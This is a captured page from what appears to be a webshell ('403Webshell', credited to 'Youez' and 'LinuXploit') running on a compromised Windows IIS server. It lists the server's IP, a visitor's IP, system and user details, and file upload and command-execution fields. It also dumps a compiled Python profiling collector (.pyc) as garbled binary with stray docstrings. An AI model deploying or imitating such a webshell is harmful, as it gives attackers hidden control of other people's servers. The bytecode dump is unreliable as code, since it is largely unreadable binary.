403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.146
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Python315/Lib/profiling/sampling/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Python315/Lib/profiling/sampling/__pycache__/collector.cpython-315.pyc
R
>lqj�*c��]QHGsGs]QHGsGsGsGsGsG	s	G
s
]QH.GsQsQsQsQsQsQ	sQ
sQsQQ
\2sP!\
cPsK0h9h)�)�ABC�abstractmethod)�DEFAULT_LOCATION�THREAD_STATUS_HAS_GIL�THREAD_STATUS_ON_CPU�THREAD_STATUS_GIL_REQUESTED�THREAD_STATUS_UNKNOWN�THREAD_STATUS_HAS_EXCEPTION�_INTERNAL_FRAME_SUFFIXES)�	FrameInfoc�R�Ue[![U[2%cVPP1!U!)z�Normalize location to a 4-tuple format.

Args:
    location: tuple (lineno, end_lineno, col_offset, end_col_offset),
        an integer line number, or None

Returns:
    tuple: (lineno, end_lineno, col_offset, end_col_offset)
)r�
isinstance�int��locations&�1C:\Python315\\Lib\profiling\sampling\collector.py�normalize_locationrs/�������(�C� � ��B��+�+��O�c�R�Ue]![U[2%cU!U]*!)z�Extract lineno from location.

Args:
    location: tuple (lineno, end_lineno, col_offset, end_col_offset),
        an integer line number, or None

Returns:
    int: The line number (0 for synthetic frames)
)r
rrs&r�extract_linenor$s)������(�C� � ����A�;�rc��[U[2%cU%c
U]*LPoL
[UQP2oU%fP
!UO[2!)r�filename)r
�tuple�getattr�endswithr
)�framers& r�_is_internal_framer4sB���%����$�5��8�"���5�*�b�1�������5�6�6rc�n�U%fU!STt,tFDo[U2%cJUMJ	to!ttoh�N)r)�frames�fs& r�filter_internal_framesr!@s,����
��;�v�!�%7��%:�A�A�v�;�;��;s�2�2c	���-o-o[2o[2oSFD�oUOoUOFD�oUOoVv1V$UO	U2UO%fJ9UOT	t,tFDp�O
MJ	o
o	[
U
2oUOU
2U]6�c[U
2LU
]*oV�1V($J�	J�	VV41!tto	h)�)	�set�	thread_id�
awaited_by�task_id�add�	task_name�len�update�min)
�awaited_info_list�task_map�child_to_parent�all_task_ids�all_parent_ids�awaited_infor%�	task_infor'�p�
parent_ids�parent_count�selected_parents
&            r�_build_task_graphr8Gs����H��O��5�L��U�N�)�� �*�*�	�%�0�0�I��'�'�G�!*� 6�H�����W�%��#�#�#�3<�3G�3G�H�3G�a�k�k�3G�
�H�"�:����%�%�j�1�5A�A�5E�#�j�/�:�VW�=��,;�+J��(�1�*��l�B�B��
Is�?Cc��V*
!r�)r0r1s&&r�_find_leaf_tasksr;^s���(�(rc
#� �SFCDNo,o[2oSoPoUCdVe7cCLUOU2Va7cL�V*vq�UeS	oUO%c:UOFD(o
U
OFDoUO	U2J	J*	UOU2oUO9%fQ[UO2*o
U%c6Uvq�U]6�c	U
QUQ0o
UO	[QPU
P122SoJ�UO	[QPU
P122PoCJ!U%fCJ@UeCJGVGU1w�	CJQ	P!3h)NzTask-z (z	 parents)z<task>)
r$r(�coroutine_stack�
call_stack�append�getr)�strr'r)�
leaf_task_idsr.r/�leaf_idr�visited�
current_idr%r3�tid�	coro_infor�parent_infor)r7r6s&&&             r�_build_linear_stacksrIbsD��� �����%���
��	��$��$���K�K�
�#��)��%�1�N�I�� ��	��(�(�(�!*�!:�!:�I�!*�!5�!5���
�
�e�,�"6�";�*�-�-�j�9�K�!�+�+�O�O�w��Y�=N�=N�9O�/O�I��0;�-���!�#�#,�+�R��~�Y� G�I��
�
�i��4��D�(I�J�K�,�
��
�
�i��4��D�(I�J�K�!�
��6�i�+��W�,�,�K!�s@�E�E�E�E�E�"AE�?$E�$
E�/AE�E�Ec#�r �[U2vqq4[V42o[VQU2FPiw�K
P!K3hr)r8r;rI)r-r.r/r0r1rBs&     r�iter_async_framesrK�s/���>O�Pa�>b�;�H�|�$�\�B�M�#�M�_�M�M�M�s�+7�5�7c�`�\sQs]�snP
s\QQk2sQs\Q2s\	Q2s
QQksQsQQks
QsQ	sQ
sUsP!)
�	Collectorc��P!)a�Collect profiling data from stack frames.

Args:
    stack_frames: List of InterpreterInfo objects
    timestamps_us: Optional list of timestamps in microseconds. If provided
        (from binary replay with RLE batching), use these instead of current
        time. If None, collectors should use time.monotonic() or similar.
        The list may contain multiple timestamps when samples are batched
        together (same stack, different times).
r:)�self�stack_frames�
timestamps_uss&&&r�collect�Collector.collect���rc��P!)z+Collect data about a failed sample attempt.r:)rOs&r�collect_failed_sample�Collector.collect_failed_sample�rTrc��P!)zoExport collected data.

Returns:
    bool: True if output was generated, False if there was no data to export.
r:)rOrs&&r�export�Collector.export�rTrc��[U2!r)r!)rs&r�_filter_internal_frames�!Collector._filter_internal_frames�s
��%�f�-�-rc#�r �SFD�oUOFD�oU%cKUOo[U[*2o[U[*2oU%fU%fJUUO
oU%fJkUO
U2oU%fJ�V�O1w�	J�	J�	P!3hr)�threads�status�boolrr�
frame_infor\r%)	rOrP�	skip_idle�interpreter_info�thread_info�status_flags�has_gil�on_cpurs	&&&      r�_iter_all_frames�Collector._iter_all_frames�s���� ,��/�7�7���#.�#5�#5�L�"�<�2G�#G�H�G�!�,�1E�"E�F�F�#�v� �$�/�/���6�!�9�9�&�A�F��v�$�&;�&;�;�;� 8�!-�s"�B7�?B7�"B7�*B7�B7�B7c#�> �[U2FPiw�K
P!K3hr)rK)rOr-s&&r�_iter_async_frames�Collector._iter_async_frames�s���$�%6�7�7�7�s���c#� �U%cB[U]*Q2%c)[U2FDvq4oU%fJV41w�	J	P!UOVQ5FDvq4U%fJV41w�	J	P!3h)zMYield (frames, thread_id) for all stacks, handling both sync and async modes.r&)rc)�hasattrrKri)rOrPrcrr%�_s&&&   r�_iter_stacks�Collector._iter_stacks�sg����G�L��O�\�B�B�(9�,�(G�$��1��6� �+�+�)H�&*�%:�%:�<�%:�%]�!���6� �+�+�&^�s�	A;�A;�A;�)A;�/A;c��[U[2%c[U2]6�c
U]*LPoL
[UQP2oQU79%fQU7!)��funcnamez<GC>�
gc_collect)r
rr*r)rOrrus&& r�_is_gc_frame�Collector._is_gc_frame�sJ���e�U�#�#�#&�u�:��?�u�Q�x��H��u�j�"�5�H���!�=�=�\�X�%=�=rc��Q]Q]Q]Q]Q]Q]-oP
o-oSFCDmo[UQ,2oSFCDToUQ99*]*
tt$[UQ]2oU[*%cUQ99*]*
tt$U[*%cUQ99*]*
tt$U[*%cUQ99*]*
tt$U[*%cUQ99*]*
tt$U[
*%cUQ99*]*
tt$[UQ	P2o	U	eCJV�7cQ]Q]Q]Q]Q]Q]Q
]-VI$VI*o
U
Q99*]*
tt$U[*%cU
Q99*]*
tt$U[*%cU
Q99*]*
tt$U[*%cU
Q99*]*
tt$U[*%cU
Q99*]*
tt$U[
*%cU
Q99*]*
tt$[UQP2oU%fCJSFD6oUO
U2%fJU
Q
99*]*
tt$P	oCJR	CJW	CJp	V#U1!)aoCollect aggregate and per-thread status statistics from a sample.

Returns:
    tuple: (aggregate_status_counts, has_gc_frame, per_thread_stats)
        - aggregate_status_counts: dict with has_gil, on_cpu, has_exception, etc.
        - has_gc_frame: bool indicating if any thread has GC frames
        - per_thread_stats: dict mapping thread_id to per-thread counts
rgrh�
gil_requested�unknown�
has_exception�totalr_r`r%�
gc_samplesrb)rrrrrr	rw)
rOrP�
status_counts�has_gc_frame�per_thread_statsrdr_rerfr%�thread_statsrrs
&&           r�_collect_thread_status_stats�&Collector._collect_thread_status_stats�sN��
�q��a��Q��q��Q��Q�

�
����� ,���.�	�2�>�G�&���g�&�!�+�&� '�{�H�a�@���"7�7�7�!�)�,��1�,��"6�6�6�!�(�+�q�0�+��"=�=�=�!�/�2�a�7�2��"7�7�7�!�)�,��1�,��"=�=�=�!�/�2�a�7�2�$�K��d�C�	��(� �8�%�q�$�a�+�Q�%�q�+�Q�#�Q�(�!�7�(�3�$4�#>�L� ��)�Q�.�)�#�&;�;�;�$�Y�/�1�4�/�#�&:�:�:�$�X�.�!�3�.�#�&A�A�A�$�_�5��:�5�#�&;�;�;�$�Y�/�1�4�/�#�&A�A�A�$�_�5��:�5�%�[�,��E�F��v�%+�E�#�0�0��7�7� ,�\� :�a� ?� :�/3�� %�	&,�a '�!-�p�,<�<�<rr:r)F)�__name__�
__module__�__qualname__�__firstlineno__�aggregatingrrRrVrY�staticmethodr\rirlrqrwr��__static_attributes__�__classdictcell__)�
__classdict__s@rrMrM�si�����K��
��
�:������.��.�<�$8�	,�>�L=�L=rrM)�abcrr�	constantsrrrrrr	r
�_remote_debuggingr�ImportErrorrrrr!r8r;rIrKrMr:rr�<module>r�so��#�����+��"� 	7�<�C�.)�&-�RN�S=��S=��G���I��s�A�A�A�A

Youez - 2016 - github.com/yon3zu
LinuXploit